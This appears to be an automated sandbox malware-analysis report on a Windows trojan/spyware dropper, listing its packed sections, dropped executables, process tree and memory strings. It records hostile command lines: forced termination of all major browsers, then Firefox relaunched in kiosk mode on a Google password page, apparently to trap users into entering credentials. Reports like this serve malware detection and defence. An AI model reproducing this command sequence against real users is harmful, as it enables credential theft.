Source: file.exe, 00000000.00000003.2280496191.00000000016A6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2253913423.0000000006539000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2249317718.0000000005F55000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2261533163.0000000006768000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: ZLIB complexity 0.9980713655956113
Source: NX5XML9A4AMIPXG5AGRT0AH025A0.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9979510814032697
Source: NX5XML9A4AMIPXG5AGRT0AH025A0.exe.0.dr	Static PE information: Section: ibghtiqx ZLIB complexity 0.9943954568461307
Source: skotes.exe.4.dr	Static PE information: Section: ZLIB complexity 0.9979510814032697
Source: skotes.exe.4.dr	Static PE information: Section: ibghtiqx ZLIB complexity 0.9943954568461307
Source: random[1].exe.8.dr	Static PE information: Section: ZLIB complexity 0.9980713655956113
Source: c1b0009d40.exe.8.dr	Static PE information: Section: ZLIB complexity 0.9980713655956113
Source: random[1].exe0.8.dr	Static PE information: Section: tnleqdlj ZLIB complexity 0.9949933236506746
Source: 7a5878ed96.exe.8.dr	Static PE information: Section: tnleqdlj ZLIB complexity 0.9949933236506746
Source: GCVLAW8OP2HD5YHJC3.exe.9.dr	Static PE information: Section: ZLIB complexity 0.9979510814032697
Source: GCVLAW8OP2HD5YHJC3.exe.9.dr	Static PE information: Section: ibghtiqx ZLIB complexity 0.9943954568461307
Source: 1QL5CL9NMBWTM5JDZ.exe.11.dr	Static PE information: Section: ZLIB complexity 0.9979510814032697
Source: 1QL5CL9NMBWTM5JDZ.exe.11.dr	Static PE information: Section: ibghtiqx ZLIB complexity 0.9943954568461307
Source: EGCHWF62L351BCP5BKZSSW.exe.25.dr	Static PE information: Section: ZLIB complexity 0.9979510814032697
Source: EGCHWF62L351BCP5BKZSSW.exe.25.dr	Static PE information: Section: ibghtiqx ZLIB complexity 0.9943954568461307

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@87/42@86/14

Source: C:\Users\user\AppData\Local\Temp\1664VO856PFRR45SNXLF.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\1664VO856PFRR45SNXLF.exe.log

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5028:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6100:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:368:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\I605ZV9TDN7C3O4NV7U9QCMM6MD004S.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:516:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4112:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1848:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4828:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2928:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5776:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6000:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\1664VO856PFRR45SNXLF.exe

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process

Source: C:\Users\user\AppData\Local\Temp\NX5XML9A4AMIPXG5AGRT0AH025A0.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: firefox.exe, 0000001A.00000002.3188027583.000002592FB03000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SELECTION_SET_FLAG_USE_XP_LINE_BREAKQUERY_CONTENT_FLAG_SELECTION_FINDget isFormAssociatedCustomElementsQUERY_CONTENT_FLAG_SELECTION_ACCESSIBILITYEnterprisePolicies:AllPoliciesAppliedEXCLUDE_STACKINFO_FROM_LOADEVENTSEnterprisePolicies:DisallowedFeaturesisExemptExecutableExtension/domains<QUERY_CONTENT_FLAG_SELECTION_IME_CONVERTEDTEXTQUERY_CONTENT_FLAG_SELECTION_IME_SELECTEDRAWTEXTallowContentRetargetingOnChildrenbrowser.policies.testing.disallowEnterpriseresource://gre/modules/Console.sys.mjs@mozilla.org/mac-preferences-reader;1resource:///modules/policies/Policies.sys.mjsInvalid parameters specified for msSinceProcessStartIncludingSuspendmsSinceProcessStartExcludingSuspendresource:///modules/policies/schema.sys.mjsWebInstallerInstallAddonFromWebpageQUERY_CONTENT_FLAG_SELECTION_URLSTRIKEOUTresource://gre/modules/AddonManager.sys.mjsINCLUDE_PRIVATE_FIELDS_IN_LOADEVENTS{4399533d-08d1-458c-a87a-235f74451cfa}resource://gre/modules/Blocklist.sys.mjs{66354bc9-7ed1-4692-ae1d-8da97d6b205e}separatePrivilegedMozillaWebContentProcessextensions.abuseReport.amWebAPI.enabledQUERY_CONTENT_FLAG_SELECTION_URLSECONDARYSELECTION_SET_FLAG_USE_NATIVE_LINE_BREAKresource://gre/modules/PromiseUtils.sys.mjsareUntrustedModuleLoadEventsReadyresource://gre/modules/PromiseUtils.sys.mjsaMethod must be a non-empty stringextensions.blocklist.pingCountVersionUnregistering shutdown blocker for Async shutdown of AddonManager providersAddonListener threw exception when calling extensions.update.autoUpdateDefaultresource://gre/modules/AsyncShutdown.sys.mjsextensions.quarantinedDomains.enabledRegistering shutdown blocker for aExtraListeners must be an array or nullTEST:addon-repository-data-updatedicons must be a string, an object or nullaMimetype must be a string or nullresource://gre/modules/addons/XPIProvider.jsmextensions.webExtensionsMinPlatformVersionresource://gre/modules/AbuseReporter.sys.mjsBackground update check beginningInstallListener threw exception when calling extensions.remoteSettings.disabledresource://gre/modules/Log.sys.mjsaAppVersion must be a string or nullAsync shutdown of AddonRepositoryFailure during AddonRepository shutdownaOptions.browser must be an Element or nullFailure during wait for shutdown barrieraddons-background-update-completeextensions.systemAddon.update.enabledresource://gre/modules/Extension.sys.mjsextensions.postDownloadThirdPartyPromptisPrincipalInSitePermissionsBlocklistNS_PREFBRANCH_PREFCHANGE_TOPIC_IDSitePermsAddons can't be installedAddon download before validation.aListener must be a InstallListener objectRegistering upgrade listener for aSource must be an Element, or nullaListener must be an AddonManagerListener objectgetSitePermsAddonInstallForWebpageaBrowser must be an Element, or nullNo upgrade listener registered for addon ID: aListener must be an AddonListener objectaMimetype must be a non-empty stringInstall Failed on unexpected erroramWebAPI reportAbuse not supported@mozilla.org/addons/web-install-prompt;1No addonTypes found for p
Source: file.exe, 00000000.00000003.2127327476.0000000006152000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2114591297.0000000006137000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2114370484.0000000006156000.00000004.00000800.00020000.00000000.sdmp, c1b0009d40.exe, 00000009.00000003.2820140579.0000000005C70000.00000004.00000800.00020000.00000000.sdmp, c1b0009d40.exe, 00000009.00000003.2834013659.0000000005C78000.00000004.00000800.00020000.00000000.sdmp, c1b0009d40.exe, 00000009.00000003.2834333052.0000000005C6C000.00000004.00000800.00020000.00000000.sdmp, c1b0009d40.exe, 00000009.00000003.2820701412.0000000005C52000.00000004.00000800.00020000.00000000.sdmp, c1b0009d40.exe, 0000000B.00000003.2960772552.0000000005A94000.00000004.00000800.00020000.00000000.sdmp, c1b0009d40.exe, 0000000B.00000003.2938814641.0000000005A65000.00000004.00000800.00020000.00000000.sdmp, c1b0009d40.exe, 0000000B.00000003.2938365387.0000000005A84000.00000004.00000800.00020000.00000000.sdmp, c1b0009d40.exe, 00000019.00000003.3044459864.0000000005E56000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: file.exe

ReversingLabs: Detection: 42%

Source: 1664VO856PFRR45SNXLF.exe	String found in binary or memory: 3The file %s is missing. Please, re-install this application
Source: 1664VO856PFRR45SNXLF.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: NX5XML9A4AMIPXG5AGRT0AH025A0.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\1664VO856PFRR45SNXLF.exe "C:\Users\user\AppData\Local\Temp\1664VO856PFRR45SNXLF.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\NX5XML9A4AMIPXG5AGRT0AH025A0.exe "C:\Users\user\AppData\Local\Temp\NX5XML9A4AMIPXG5AGRT0AH025A0.exe"
Source: C:\Users\user\AppData\Local\Temp\NX5XML9A4AMIPXG5AGRT0AH025A0.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe "C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1002709001\7a5878ed96.exe "C:\Users\user\AppData\Local\Temp\1002709001\7a5878ed96.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe "C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1002710001\1dc3787ee3.exe "C:\Users\user\AppData\Local\Temp\1002710001\1dc3787ee3.exe"
Source: C:\Users\user\AppData\Local\Temp\1002710001\1dc3787ee3.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1002710001\1dc3787ee3.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1002710001\1dc3787ee3.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1002710001\1dc3787ee3.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1002710001\1dc3787ee3.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1002710001\1dc3787ee3.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: unknown	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe "C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe"
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2176 -parentBuildID 20230927232528 -prefsHandle 2112 -prefMapHandle 2100 -prefsLen 25308 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {6837355c-621c-4577-8fde-3e4378469245} 6468 "\\.\pipe\gecko-crash-server-pipe.6468" 2592396dd10 socket
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1002711001\num.exe "C:\Users\user\AppData\Local\Temp\1002711001\num.exe"
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4176 -parentBuildID 20230927232528 -prefsHandle 4300 -prefMapHandle 4296 -prefsLen 26338 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {89000b5d-e12c-48b9-8974-2194eb69f6f5} 6468 "\\.\pipe\gecko-crash-server-pipe.6468" 25935f3c310 rdd
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1002709001\7a5878ed96.exe "C:\Users\user\AppData\Local\Temp\1002709001\7a5878ed96.exe"
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Process created: C:\Users\user\AppData\Local\Temp\DKWRY7NZ4BK40ZV6TLNXNQ7QKOI5NI5.exe "C:\Users\user\AppData\Local\Temp\DKWRY7NZ4BK40ZV6TLNXNQ7QKOI5NI5.exe"
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Process created: C:\Users\user\AppData\Local\Temp\GCVLAW8OP2HD5YHJC3.exe "C:\Users\user\AppData\Local\Temp\GCVLAW8OP2HD5YHJC3.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1002710001\1dc3787ee3.exe "C:\Users\user\AppData\Local\Temp\1002710001\1dc3787ee3.exe"
Source: C:\Users\user\AppData\Local\Temp\1002710001\1dc3787ee3.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1002710001\1dc3787ee3.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Process created: C:\Users\user\AppData\Local\Temp\I605ZV9TDN7C3O4NV7U9QCMM6MD004S.exe "C:\Users\user\AppData\Local\Temp\I605ZV9TDN7C3O4NV7U9QCMM6MD004S.exe"
Source: C:\Users\user\AppData\Local\Temp\1002710001\1dc3787ee3.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1002710001\1dc3787ee3.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1002710001\1dc3787ee3.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1002710001\1dc3787ee3.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2140 -parentBuildID 20230927232528 -prefsHandle 2060 -prefMapHandle 2044 -prefsLen 25350 -prefMapSize 238051 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {866f494e-4395-4791-8c6f-41680297a670} 7096 "\\.\pipe\gecko-crash-server-pipe.7096" 254d1e6f110 socket
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Process created: C:\Users\user\AppData\Local\Temp\1QL5CL9NMBWTM5JDZ.exe "C:\Users\user\AppData\Local\Temp\1QL5CL9NMBWTM5JDZ.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\1664VO856PFRR45SNXLF.exe "C:\Users\user\AppData\Local\Temp\1664VO856PFRR45SNXLF.exe"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\NX5XML9A4AMIPXG5AGRT0AH025A0.exe "C:\Users\user\AppData\Local\Temp\NX5XML9A4AMIPXG5AGRT0AH025A0.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NX5XML9A4AMIPXG5AGRT0AH025A0.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe "C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1002709001\7a5878ed96.exe "C:\Users\user\AppData\Local\Temp\1002709001\7a5878ed96.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1002710001\1dc3787ee3.exe "C:\Users\user\AppData\Local\Temp\1002710001\1dc3787ee3.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1002711001\num.exe "C:\Users\user\AppData\Local\Temp\1002711001\num.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Process created: C:\Users\user\AppData\Local\Temp\DKWRY7NZ4BK40ZV6TLNXNQ7QKOI5NI5.exe "C:\Users\user\AppData\Local\Temp\DKWRY7NZ4BK40ZV6TLNXNQ7QKOI5NI5.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Process created: C:\Users\user\AppData\Local\Temp\GCVLAW8OP2HD5YHJC3.exe "C:\Users\user\AppData\Local\Temp\GCVLAW8OP2HD5YHJC3.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Process created: C:\Users\user\AppData\Local\Temp\I605ZV9TDN7C3O4NV7U9QCMM6MD004S.exe "C:\Users\user\AppData\Local\Temp\I605ZV9TDN7C3O4NV7U9QCMM6MD004S.exe"
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Process created: C:\Users\user\AppData\Local\Temp\1QL5CL9NMBWTM5JDZ.exe "C:\Users\user\AppData\Local\Temp\1QL5CL9NMBWTM5JDZ.exe"
Source: C:\Users\user\AppData\Local\Temp\1002710001\1dc3787ee3.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002710001\1dc3787ee3.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002710001\1dc3787ee3.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002710001\1dc3787ee3.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002710001\1dc3787ee3.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002710001\1dc3787ee3.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2176 -parentBuildID 20230927232528 -prefsHandle 2112 -prefMapHandle 2100 -prefsLen 25308 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {6837355c-621c-4577-8fde-3e4378469245} 6468 "\\.\pipe\gecko-crash-server-pipe.6468" 2592396dd10 socket
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4176 -parentBuildID 20230927232528 -prefsHandle 4300 -prefMapHandle 4296 -prefsLen 26338 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {89000b5d-e12c-48b9-8974-2194eb69f6f5} 6468 "\\.\pipe\gecko-crash-server-pipe.6468" 25935f3c310 rdd
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1002710001\1dc3787ee3.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002710001\1dc3787ee3.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002710001\1dc3787ee3.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002710001\1dc3787ee3.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002710001\1dc3787ee3.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002710001\1dc3787ee3.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
